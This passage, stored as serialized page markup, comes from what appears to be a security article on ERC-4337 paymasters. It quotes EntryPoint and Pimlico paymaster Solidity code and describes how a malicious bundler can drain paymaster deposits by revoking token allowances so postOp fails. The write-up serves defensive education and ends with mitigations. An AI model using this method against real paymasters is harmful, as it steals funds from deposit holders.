PostOpReverted",{"type":23,"tag":230,"props":108451,"children":108452},{"style":274},[108453],{"type":29,"value":108454},"(reason);\n",{"type":23,"tag":230,"props":108456,"children":108457},{"class":232,"line":4595},[108458],{"type":23,"tag":230,"props":108459,"children":108460},{"style":274},[108461],{"type":29,"value":72755},{"type":23,"tag":230,"props":108463,"children":108464},{"class":232,"line":4619},[108465],{"type":23,"tag":230,"props":108466,"children":108467},{"style":274},[108468],{"type":29,"value":72840},{"type":23,"tag":230,"props":108470,"children":108471},{"class":232,"line":4627},[108472],{"type":23,"tag":230,"props":108473,"children":108474},{"style":237},[108475],{"type":29,"value":108476},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":230,"props":108478,"children":108479},{"class":232,"line":4659},[108480,108484,108488],{"type":23,"tag":230,"props":108481,"children":108482},{"style":237},[108483],{"type":29,"value":105321},{"type":23,"tag":230,"props":108485,"children":108486},{"style":256},[108487],{"type":29,"value":68535},{"type":23,"tag":230,"props":108489,"children":108490},{"style":237},[108491],{"type":29,"value":108492}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":230,"props":108494,"children":108495},{"class":232,"line":4671},[108496,108500,108505,108509,108513,108517,108521],{"type":23,"tag":230,"props":108497,"children":108498},{"style":676},[108499],{"type":29,"value":105256},{"type":23,"tag":230,"props":108501,"children":108502},{"style":274},[108503],{"type":29,"value":108504}," postOpGasUsed ",{"type":23,"tag":230,"props":108506,"children":108507},{"style":268},[108508],{"type":29,"value":863},{"type":23,"tag":230,"props":108510,"children":108511},{"style":274},[108512],{"type":29,"value":108292},{"type":23,"tag":230,"props":108514,"children":108515},{"style":268},[108516],{"type":29,"value":6665},{"type":23,"tag":230,"props":108518,"children":108519},{"style":256},[108520],{"type":29,"value":107089},{"type":23,"tag":230,"props":108522,"children":108523},{"style":274},[108524],{"type":29,"value":2140},{"type":23,"tag":230,"props":108526,"children":108527},{"class":232,"line":4688},[108528,108533,108537,108542],{"type":23,"tag":230,"props":108529,"children":108530},{"style":274},[108531],{"type":29,"value":108532},"                    postOpUnusedGasPenalty ",{"type":23,"tag":230,"props":108534,"children":108535},{"style":268},[108536],{"type":29,"value":863},{"type":23,"tag":230,"props":108538,"children":108539},{"style":294},[108540],{"type":29,"value":108541}," _getUnusedGasPenalty",{"type":23,"tag":230,"props":108543,"children":108544},{"style":274},[108545],{"type":29,"value":108546},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":230,"props":108548,"children":108549},{"class":232,"line":4701},[108550],{"type":23,"tag":230,"props":108551,"children":108552},{"style":274},[108553],{"type":29,"value":72848},{"type":23,"tag":230,"props":108555,"children":108556},{"class":232,"line":4724},[108557],{"type":23,"tag":230,"props":108558,"children":108559},{"style":274},[108560],{"type":29,"value":60659},{"type":23,"tag":230,"props":108562,"children":108563},{"class":232,"line":4741},[108564],{"type":23,"tag":230,"props":108565,"children":108566},{"style":274},[108567],{"type":29,"value":106580},{"type":23,"tag":230,"props":108569,"children":108570},{"class":232,"line":4759},[108571],{"type":23,"tag":230,"props":108572,"children":108573},{"style":274},[108574],{"type":29,"value":1552},{"type":23,"tag":32,"props":108576,"children":108577},{},[108578,108580,108585,108587,108593,108595,108601,108603,108608,108610,108615,108617,108622,108624,108629,108631,108636,108638,108643],{"type":29,"value":108579},"It turns out that if the ",{"type":23,"tag":71,"props":108581,"children":108583},{"className":108582},[],[108584],{"type":29,"value":104160},{"type":29,"value":108586}," call fails, it will revert with ",{"type":23,"tag":71,"props":108588,"children":108590},{"className":108589},[],[108591],{"type":29,"value":108592},"PostOpReverted",{"type":29,"value":108594},". However, as we can see in the previous code of ",{"type":23,"tag":71,"props":108596,"children":108598},{"className":108597},[],[108599],{"type":29,"value":108600},"_executeUserOp",{"type":29,"value":108602},", even though ",{"type":23,"tag":71,"props":108604,"children":108606},{"className":108605},[],[108607],{"type":29,"value":107302},{"type":29,"value":108609}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":71,"props":108611,"children":108613},{"className":108612},[],[108614],{"type":29,"value":107970},{"type":29,"value":108616}," call with ",{"type":23,"tag":71,"props":108618,"children":108620},{"className":108619},[],[108621],{"type":29,"value":107978},{"type":29,"value":108623}," mode, and it won't try to call ",{"type":23,"tag":71,"props":108625,"children":108627},{"className":108626},[],[108628],{"type":29,"value":104160},{"type":29,"value":108630}," again. This means the ",{"type":23,"tag":71,"props":108632,"children":108634},{"className":108633},[],[108635],{"type":29,"value":104021},{"type":29,"value":108637}," still gets paid for submitting the failed ",{"type":23,"tag":71,"props":108639,"children":108641},{"className":108640},[],[108642],{"type":29,"value":103961},{"type":29,"value":312},{"type":23,"tag":32,"props":108645,"children":108646},{},[108647,108649,108654,108656,108661,108663,108670],{"type":29,"value":108648},"Now that we understand this behavior where ",{"type":23,"tag":71,"props":108650,"children":108652},{"className":108651},[],[108653],{"type":29,"value":104160},{"type":29,"value":108655}," is allowed to fail while the ",{"type":23,"tag":71,"props":108657,"children":108659},{"className":108658},[],[108660],{"type":29,"value":104021},{"type":29,"value":108662}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":181,"props":108664,"children":108667},{"href":108665,"rel":108666},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[185],[108668],{"type":29,"value":108669},"Pimlico",{"type":29,"value":312},{"type":23,"tag":220,"props":108672,"children":108674},{"className":6813,"code":108673,"language":6812,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[108675],{"type":23,"tag":71,"props":108676,"children":108677},{"__ignoreMap":7},[108678,108693,108710,108730,108746,108758,108765,108772,108779,108810,108817,108842,108850,108857,108864,108893,108900,108916,108938,108945,108961,109011,109018,109034,109042,109075,109108,109116,109123,109130,109173,109180,109229,109255,109262,109269,109286],{"type":23,"tag":230,"props":108679,"children":108680},{"class":232,"line":233},[108681,108685,108689],{"type":23,"tag":230,"props":108682,"children":108683},{"style":256},[108684],{"type":29,"value":91610},{"type":23,"tag":230,"props":108686,"children":108687},{"style":294},[108688],{"type":29,"value":105562},{"type":23,"tag":230,"props":108690,"children":108691},{"style":274},[108692],{"type":29,"value":619},{"type":23,"tag":230,"props":108694,"children":108695},{"class":232,"line":243},[108696,108701,108705],{"type":23,"tag":230,"props":108697,"children":108698},{"style":256},[108699],{"type":29,"value":108700},"        PostOpMode",{"type":23,"tag":230,"props":108702,"children":108703},{"style":274},[108704],{"type":29,"value":684},{"type":23,"tag":230,"props":108706,"children":108707},{"style":237},[108708],{"type":29,"value":108709},"/* mode */\n",{"type":23,"tag":230,"props":108711,"children":108712},{"class":232,"line":252},[108713,108717,108721,108726],{"type":23,"tag":230,"props":108714,"children":108715},{"style":676},[108716],{"type":29,"value":107478},{"type":23,"tag":230,"props":108718,"children":108719},{"style":256},[108720],{"type":29,"value":104791},{"type":23,"tag":230,"props":108722,"children":108723},{"style":262},[108724],{"type":29,"value":108725}," _context",{"type":23,"tag":230,"props":108727,"children":108728},{"style":274},[108729],{"type":29,"value":388},{"type":23,"tag":230,"props":108731,"children":108732},{"class":232,"line":280},[108733,108737,108742],{"type":23,"tag":230,"props":108734,"children":108735},{"style":676},[108736],{"type":29,"value":91788},{"type":23,"tag":230,"props":108738,"children":108739},{"style":262},[108740],{"type":29,"value":108741}," _actualGasCost",{"type":23,"tag":230,"props":108743,"children":108744},{"style":274},[108745],{"type":29,"value":388},{"type":23,"tag":230,"props":108747,"children":108748},{"class":232,"line":334},[108749,108753],{"type":23,"tag":230,"props":108750,"children":108751},{"style":676},[108752],{"type":29,"value":91788},{"type":23,"tag":230,"props":108754,"children":108755},{"style":262},[108756],{"type":29,"value":108757}," _actualUserOpFeePerGas\n",{"type":23,"tag":230,"props":108759,"children":108760},{"class":232,"line":371},[108761],{"type":23,"tag":230,"props":108762,"children":108763},{"style":274},[108764],{"type":29,"value":26225},{"type":23,"tag":230,"props":108766,"children":108767},{"class":232,"line":391},[108768],{"type":23,"tag":230,"props":108769,"children":108770},{"style":256},[108771],{"type":29,"value":104830},{"type":23,"tag":230,"props":108773,"children":108774},{"class":232,"line":400},[108775],{"type":23,"tag":230,"props":108776,"children":108777},{"style":274},[108778],{"type":29,"value":31494},{"type":23,"tag":230,"props":108780,"children":108781},{"class":232,"line":444},[108782,108787,108791,108796,108800,108805],{"type":23,"tag":230,"props":108783,"children":108784},{"style":274},[108785],{"type":29,"value":108786},"        ERC20PostOpContext ",{"type":23,"tag":230,"props":108788,"children":108789},{"style":256},[108790],{"type":29,"value":77751},{"type":23,"tag":230,"props":108792,"children":108793},{"style":274},[108794],{"type":29,"value":108795}," ctx ",{"type":23,"tag":230,"props":108797,"children":108798},{"style":268},[108799],{"type":29,"value":863},{"type":23,"tag":230,"props":108801,"children":108802},{"style":294},[108803],{"type":29,"value":108804}," _parsePostOpContext",{"type":23,"tag":230,"props":108806,"children":108807},{"style":274},[108808],{"type":29,"value":108809},"(_context);\n",{"type":23,"tag":230,"props":108811,"children":108812},{"class":232,"line":453},[108813],{"type":23,"tag":230,"props":108814,"children":108815},{"emptyLinePlaceholder":18},[108816],{"type":29,"value":459},{"type":23,"tag":230,"props":108818,"children":108819},{"class":232,"line":462},[108820,108824,108829,108833,108838],{"type":23,"tag":230,"props":108821,"children":108822},{"style":676},[108823],{"type":29,"value":91788},{"type":23,"tag":230,"props":108825,"children":108826},{"style":274},[108827],{"type":29,"value":108828}," expectedPenaltyGasCost ",{"type":23,"tag":230,"props":108830,"children":108831},{"style":268},[108832],{"type":29,"value":863},{"type":23,"tag":230,"props":108834,"children":108835},{"style":294},[108836],{"type":29,"value":108837}," _expectedPenaltyGasCost",{"type":23,"tag":230,"props":108839,"children":108840},{"style":274},[108841],{"type":29,"value":619},{"type":23,"tag":230,"props":108843,"children":108844},{"class":232,"line":471},[108845],{"type":23,"tag":230,"props":108846,"children":108847},{"style":274},[108848],{"type":29,"value":108849},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":230,"props":108851,"children":108852},{"class":232,"line":500},[108853],{"type":23,"tag":230,"props":108854,"children":108855},{"style":274},[108856],{"type":29,"value":3635},{"type":23,"tag":230,"props":108858,"children":108859},{"class":232,"line":514},[108860],{"type":23,"tag":230,"props":108861,"children":108862},{"emptyLinePlaceholder":18},[108863],{"type":29,"value":459},{"type":23,"tag":230,"props":108865,"children":108866},{"class":232,"line":897},[108867,108871,108875,108879,108884,108888],{"type":23,"tag":230,"props":108868,"children":108869},{"style":676},[108870],{"type":29,"value":91788},{"type":23,"tag":230,"props":108872,"children":108873},{"style":274},[108874],{"type":29,"value":105886},{"type":23,"tag":230,"props":108876,"children":108877},{"style":268},[108878],{"type":29,"value":863},{"type":23,"tag":230,"props":108880,"children":108881},{"style":274},[108882],{"type":29,"value":108883}," _actualGasCost ",{"type":23,"tag":230,"props":108885,"children":108886},{"style":268},[108887],{"type":29,"value":6719},{"type":23,"tag":230,"props":108889,"children":108890},{"style":274},[108891],{"type":29,"value":108892}," expectedPenaltyGasCost;\n",{"type":23,"tag":230,"props":108894,"children":108895},{"class":232,"line":960},[108896],{"type":23,"tag":230,"props":108897,"children":108898},{"emptyLinePlaceholder":18},[108899],{"type":29,"value":459},{"type":23,"tag":230,"props":108901,"children":108902},{"class":232,"line":969},[108903,108907,108912],{"type":23,"tag":230,"props":108904,"children":108905},{"style":676},[108906],{"type":29,"value":91788},{"type":23,"tag":230,"props":108908,"children":108909},{"style":274},[108910],{"type":29,"value":108911}," costInToken ",{"type":23,"tag":230,"props":108913,"children":108914},{"style":268},[108915],{"type":29,"value":17020},{"type":23,"tag":230,"props":108917,"children":108918},{"class":232,"line":4526},[108919,108924,108929,108933],{"type":23,"tag":230,"props":108920,"children":108921},{"style":294},[108922],{"type":29,"value":108923},"            getCostInToken",{"type":23,"tag":230,"props":108925,"children":108926},{"style":274},[108927],{"type":29,"value":108928},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":230,"props":108930,"children":108931},{"style":268},[108932],{"type":29,"value":6719},{"type":23,"tag":230,"props":108934,"children":108935},{"style":274},[108936],{"type":29,"value":108937}," ctx.constantFee;\n",{"type":23,"tag":230,"props":108939,"children":108940},{"class":232,"line":4534},[108941],{"type":23,"tag":230,"props":108942,"children":108943},{"emptyLinePlaceholder":18},[108944],{"type":29,"value":459},{"type":23,"tag":230,"props":108946,"children":108947},{"class":232,"line":4542},[108948,108952,108957],{"type":23,"tag":230,"props":108949,"children":108950},{"style":676},[108951],{"type":29,"value":91788},{"type":23,"tag":230,"props":108953,"children":108954},{"style":274},[108955],{"type":29,"value":108956}," absoluteCostInToken ",{"type":23,"tag":230,"props":108958,"children":108959},{"style":268},[108960],{"type":29,"value":17020},{"type":23,"tag":230,"props":108962,"children":108963},{"class":232,"line":4559},[108964,108969,108973,108978,108982,108986,108990,108994,108998,109002,109006],{"type":23,"tag":230,"props":108965,"children":108966},{"style":274},[108967],{"type":29,"value":108968},"            costInToken ",{"type":23,"tag":230,"props":108970,"children":108971},{"style":268},[108972],{"type":29,"value":12792},{"type":23,"tag":230,"props":108974,"children":108975},{"style":274},[108976],{"type":29,"value":108977}," ctx.preFundCharged ",{"type":23,"tag":230,"props":108979,"children":108980},{"style":268},[108981],{"type":29,"value":5494},{"type":23,"tag":230,"props":108983,"children":108984},{"style":274},[108985],{"type":29,"value":108911},{"type":23,"tag":230,"props":108987,"children":108988},{"style":268},[108989],{"type":29,"value":6665},{"type":23,"tag":230,"props":108991,"children":108992},{"style":274},[108993],{"type":29,"value":108977},{"type":23,"tag":230,"props":108995,"children":108996},{"style":268},[108997],{"type":29,"value":218},{"type":23,"tag":230,"props":108999,"children":109000},{"style":274},[109001],{"type":29,"value":108977},{"type":23,"tag":230,"props":109003,"children":109004},{"style":268},[109005],{"type":29,"value":6665},{"type":23,"tag":230,"props":109007,"children":109008},{"style":274},[109009],{"type":29,"value":109010}," costInToken;\n",{"type":23,"tag":230,"props":109012,"children":109013},{"class":232,"line":4587},[109014],{"type":23,"tag":230,"props":109015,"children":109016},{"emptyLinePlaceholder":18},[109017],{"type":29,"value":459},{"type":23,"tag":230,"props":109019,"children":109020},{"class":232,"line":4595},[109021,109026,109030],{"type":23,"tag":230,"props":109022,"children":109023},{"style":274},[109024],{"type":29,"value":109025},"        SafeTransferLib.",{"type":23,"tag":230,"props":109027,"children":109028},{"style":294},[109029],{"type":29,"value":105417},{"type":23,"tag":230,"props":109031,"children":109032},{"style":274},[109033],{"type":29,"value":619},{"type":23,"tag":230,"props":109035,"children":109036},{"class":232,"line":4619},[109037],{"type":23,"tag":230,"props":109038,"children":109039},{"style":274},[109040],{"type":29,"value":109041},"            ctx.token,\n",{"type":23,"tag":230,"props":109043,"children":109044},{"class":232,"line":4627},[109045,109049,109053,109057,109061,109066,109070],{"type":23,"tag":230,"props":109046,"children":109047},{"style":274},[109048],{"type":29,"value":108968},{"type":23,"tag":230,"props":109050,"children":109051},{"style":268},[109052],{"type":29,"value":12792},{"type":23,"tag":230,"props":109054,"children":109055},{"style":274},[109056],{"type":29,"value":108977},{"type":23,"tag":230,"props":109058,"children":109059},{"style":268},[109060],{"type":29,"value":5494},{"type":23,"tag":230,"props":109062,"children":109063},{"style":274},[109064],{"type":29,"value":109065}," ctx.sender ",{"type":23,"tag":230,"props":109067,"children":109068},{"style":268},[109069],{"type":29,"value":218},{"type":23,"tag":230,"props":109071,"children":109072},{"style":274},[109073],{"type":29,"value":109074}," ctx.treasury,\n",{"type":23,"tag":230,"props":109076,"children":109077},{"class":232,"line":4659},[109078,109082,109086,109090,109094,109099,109103],{"type":23,"tag":230,"props":109079,"children":109080},{"style":274},[109081],{"type":29,"value":108968},{"type":23,"tag":230,"props":109083,"children":109084},{"style":268},[109085],{"type":29,"value":12792},{"type":23,"tag":230,"props":109087,"children":109088},{"style":274},[109089],{"type":29,"value":108977},{"type":23,"tag":230,"props":109091,"children":109092},{"style":268},[109093],{"type":29,"value":5494},{"type":23,"tag":230,"props":109095,"children":109096},{"style":274},[109097],{"type":29,"value":109098}," ctx.treasury ",{"type":23,"tag":230,"props":109100,"children":109101},{"style":268},[109102],{"type":29,"value":218},{"type":23,"tag":230,"props":109104,"children":109105},{"style":274},[109106],{"type":29,"value":109107}," ctx.sender,\n",{"type":23,"tag":230,"props":109109,"children":109110},{"class":232,"line":4671},[109111],{"type":23,"tag":230,"props":109112,"children":109113},{"style":274},[109114],{"type":29,"value":109115},"            absoluteCostInToken\n",{"type":23,"tag":230,"props":109117,"children":109118},{"class":232,"line":4688},[109119],{"type":23,"tag":230,"props":109120,"children":109121},{"style":274},[109122],{"type":29,"value":3635},{"type":23,"tag":230,"props":109124,"children":109125},{"class":232,"line":4701},[109126],{"type":23,"tag":230,"props":109127,"children":109128},{"emptyLinePlaceholder":18},[109129],{"type":29,"value":459},{"type":23,"tag":230,"props":109131,"children":109132},{"class":232,"line":4724},[109133,109137,109142,109146,109151,109155,109160,109164,109169],{"type":23,"tag":230,"props":109134,"children":109135},{"style":676},[109136],{"type":29,"value":91788},{"type":23,"tag":230,"props":109138,"children":109139},{"style":274},[109140],{"type":29,"value":109141}," preFundInToken ",{"type":23,"tag":230,"props":109143,"children":109144},{"style":268},[109145],{"type":29,"value":863},{"type":23,"tag":230,"props":109147,"children":109148},{"style":274},[109149],{"type":29,"value":109150}," (ctx.preFund ",{"type":23,"tag":230,"props":109152,"children":109153},{"style":268},[109154],{"type":29,"value":6909},{"type":23,"tag":230,"props":109156,"children":109157},{"style":274},[109158],{"type":29,"value":109159}," ctx.exchangeRate) ",{"type":23,"tag":230,"props":109161,"children":109162},{"style":268},[109163],{"type":29,"value":6919},{"type":23,"tag":230,"props":109165,"children":109166},{"style":5149},[109167],{"type":29,"value":109168}," 1e18",{"type":23,"tag":230,"props":109170,"children":109171},{"style":274},[109172],{"type":29,"value":511},{"type":23,"tag":230,"props":109174,"children":109175},{"class":232,"line":4741},[109176],{"type":23,"tag":230,"props":109177,"children":109178},{"emptyLinePlaceholder":18},[109179],{"type":29,"value":459},{"type":23,"tag":230,"props":109181,"children":109182},{"class":232,"line":4759},[109183,109187,109192,109196,109200,109204,109208,109212,109216,109220,109224],{"type":23,"tag":230,"props":109184,"children":109185},{"style":866},[109186],{"type":29,"value":5611},{"type":23,"tag":230,"props":109188,"children":109189},{"style":274},[109190],{"type":29,"value":109191}," (ctx.recipient ",{"type":23,"tag":230,"props":109193,"children":109194},{"style":268},[109195],{"type":29,"value":18013},{"type":23,"tag":230,"props":109197,"children":109198},{"style":676},[109199],{"type":29,"value":8587},{"type":23,"tag":230,"props":109201,"children":109202},{"style":274},[109203],{"type":29,"value":302},{"type":23,"tag":230,"props":109205,"children":109206},{"style":5149},[109207],{"type":29,"value":6358},{"type":23,"tag":230,"props":109209,"children":109210},{"style":274},[109211],{"type":29,"value":703},{"type":23,"tag":230,"props":109213,"children":109214},{"style":268},[109215],{"type":29,"value":74974},{"type":23,"tag":230,"props":109217,"children":109218},{"style":274},[109219],{"type":29,"value":109141},{"type":23,"tag":230,"props":109221,"children":109222},{"style":268},[109223],{"type":29,"value":12792},{"type":23,"tag":230,"props":109225,"children":109226},{"style":274},[109227],{"type":29,"value":109228}," costInToken) {\n",{"type":23,"tag":230,"props":109230,"children":109231},{"class":232,"line":4768},[109232,109237,109241,109246,109250],{"type":23,"tag":230,"props":109233,"children":109234},{"style":274},[109235],{"type":29,"value":109236},"            SafeTransferLib.",{"type":23,"tag":230,"props":109238,"children":109239},{"style":294},[109240],{"type":29,"value":105417},{"type":23,"tag":230,"props":109242,"children":109243},{"style":274},[109244],{"type":29,"value":109245},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":230,"props":109247,"children":109248},{"style":268},[109249],{"type":29,"value":6665},{"type":23,"tag":230,"props":109251,"children":109252},{"style":274},[109253],{"type":29,"value":109254}," costInToken);\n",{"type":23,"tag":230,"props":109256,"children":109257},{"class":232,"line":4776},[109258],{"type":23,"tag":230,"props":109259,"children":109260},{"style":274},[109261],{"type":29,"value":5686},{"type":23,"tag":230,"props":109263,"children":109264},{"class":232,"line":4784},[109265],{"type":23,"tag":230,"props":109266,"children":109267},{"emptyLinePlaceholder":18},[109268],{"type":29,"value":459},{"type":23,"tag":230,"props":109270,"children":109271},{"class":232,"line":4792},[109272,109277,109281],{"type":23,"tag":230,"props":109273,"children":109274},{"style":866},[109275],{"type":29,"value":109276},"        emit",{"type":23,"tag":230,"props":109278,"children":109279},{"style":294},[109280],{"type":29,"value":106151},{"type":23,"tag":230,"props":109282,"children":109283},{"style":274},[109284],{"type":29,"value":109285},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":230,"props":109287,"children":109288},{"class":232,"line":4824},[109289],{"type":23,"tag":230,"props":109290,"children":109291},{"style":274},[109292],{"type":29,"value":1552},{"type":23,"tag":32,"props":109294,"children":109295},{},[109296,109298,109303,109305,109311,109313,109319,109321,109326,109328,109333],{"type":29,"value":109297},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":71,"props":109299,"children":109301},{"className":109300},[],[109302],{"type":29,"value":105417},{"type":29,"value":109304},". Note that ",{"type":23,"tag":71,"props":109306,"children":109308},{"className":109307},[],[109309],{"type":29,"value":109310},"preFundCharged",{"type":29,"value":109312}," can be zero, as users can opt out of any ",{"type":23,"tag":71,"props":109314,"children":109316},{"className":109315},[],[109317],{"type":29,"value":109318},"preFund",{"type":29,"value":109320}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":71,"props":109322,"children":109324},{"className":109323},[],[109325],{"type":29,"value":106218},{"type":29,"value":109327}," call inside ",{"type":23,"tag":71,"props":109329,"children":109331},{"className":109330},[],[109332],{"type":29,"value":107302},{"type":29,"value":109334}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":32,"props":109336,"children":109337},{},[109338,109340,109345,109347,109353,109355,109361],{"type":29,"value":109339},"However, even when ",{"type":23,"tag":71,"props":109341,"children":109343},{"className":109342},[],[109344],{"type":29,"value":106218},{"type":29,"value":109346}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":71,"props":109348,"children":109350},{"className":109349},[],[109351],{"type":29,"value":109352},"requiredPrefund",{"type":29,"value":109354}," was taken from the paymaster's ",{"type":23,"tag":181,"props":109356,"children":109359},{"href":109357,"rel":109358},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[185],[109360],{"type":29,"value":63738},{"type":29,"value":312},{"type":23,"tag":32,"props":109363,"children":109364},{},[109365,109367,109372],{"type":29,"value":109366},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":71,"props":109368,"children":109370},{"className":109369},[],[109371],{"type":29,"value":106218},{"type":29,"value":109373}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":144,"props":109375,"children":109376},{},[109377,109395,109414,109425,109430],{"type":23,"tag":102,"props":109378,"children":109379},{},[109380,109382,109387,109389],{"type":29,"value":109381},"The bundler creates a ",{"type":23,"tag":71,"props":109383,"children":109385},{"className":109384},[],[109386],{"type":29,"value":103961},{"type":29,"value":109388}," with an intentionally high ",{"type":23,"tag":71,"props":109390,"children":109392},{"className":109391},[],[109393],{"type":29,"value":109394},"gasPrice",{"type":23,"tag":102,"props":109396,"children":109397},{},[109398,109400,109405,109407,109412],{"type":29,"value":109399},"The bundler ensures the ",{"type":23,"tag":71,"props":109401,"children":109403},{"className":109402},[],[109404],{"type":29,"value":106218},{"type":29,"value":109406}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":71,"props":109408,"children":109410},{"className":109409},[],[109411],{"type":29,"value":106218},{"type":29,"value":109413}," executes",{"type":23,"tag":102,"props":109415,"children":109416},{},[109417,109418,109423],{"type":29,"value":65130},{"type":23,"tag":71,"props":109419,"children":109421},{"className":109420},[],[109422],{"type":29,"value":106218},{"type":29,"value":109424}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":102,"props":109426,"children":109427},{},[109428],{"type":29,"value":109429},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":102,"props":109431,"children":109432},{},[109433],{"type":29,"value":109434},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":32,"props":109436,"children":109437},{},[109438,109440,109445,109447,109452],{"type":29,"value":109439},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":71,"props":109441,"children":109443},{"className":109442},[],[109444],{"type":29,"value":103990},{"type":29,"value":109446}," designed to fail during ",{"type":23,"tag":71,"props":109448,"children":109450},{"className":109449},[],[109451],{"type":29,"value":106218},{"type":29,"value":109453}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":32,"props":109455,"children":109456},{},[109457,109459,109464,109466,109471,109473,109479,109481,109486],{"type":29,"value":109458},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":71,"props":109460,"children":109462},{"className":109461},[],[109463],{"type":29,"value":103961},{"type":29,"value":109465}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":71,"props":109467,"children":109469},{"className":109468},[],[109470],{"type":29,"value":103961},{"type":29,"value":109472}," is submitted via ",{"type":23,"tag":71,"props":109474,"children":109476},{"className":109475},[],[109477],{"type":29,"value":109478},"handleOps",{"type":29,"value":109480},". This means the ",{"type":23,"tag":71,"props":109482,"children":109484},{"className":109483},[],[109485],{"type":29,"value":106218},{"type":29,"value":109487}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":32,"props":109489,"children":109490},{},[109491],{"type":29,"value":109492},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":32,"props":109494,"children":109495},{},[109496],{"type":29,"value":109497},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":32,"props":109499,"children":109500},{},[109501],{"type":29,"value":109502},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":37658,"props":109504,"children":109505},{"id":5163},[109506],{"type":29,"value":5166},{"type":23,"tag":32,"props":109508,"children":109509},{},[109510],{"type":29,"value":109511},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":144,"props":109513,"children":109514},{},[109515,109520,109525,109530,109535],{"type":23,"tag":102,"props":109516,"children":109517},{},[109518],{"type":29,"value":109519},"Always collect full payment during validation, not after execution",{"type":23,"tag":102,"props":109521,"children":109522},{},[109523],{"type":29,"value":109524},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":102,"props":109526,"children":109527},{},[109528],{"type":29,"value":109529},"Carefully validate all user inputs and token transfers",{"type":23,"tag":102,"props":109531,"children":109532},{},[109533],{"type":29,"value":109534},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":102,"props":109536,"children":109537},{},[109538,109540,109545],{"type":29,"value":109539},"Always review changes in new ",{"type":23,"tag":71,"props":109541,"children":109543},{"className":109542},[],[109544],{"type":29,"value":104042},{"type":29,"value":109546}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":32,"props":109548,"children":109549},{},[109550,109552,109557,109559,109564,109566,109571],{"type":29,"value":109551},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to 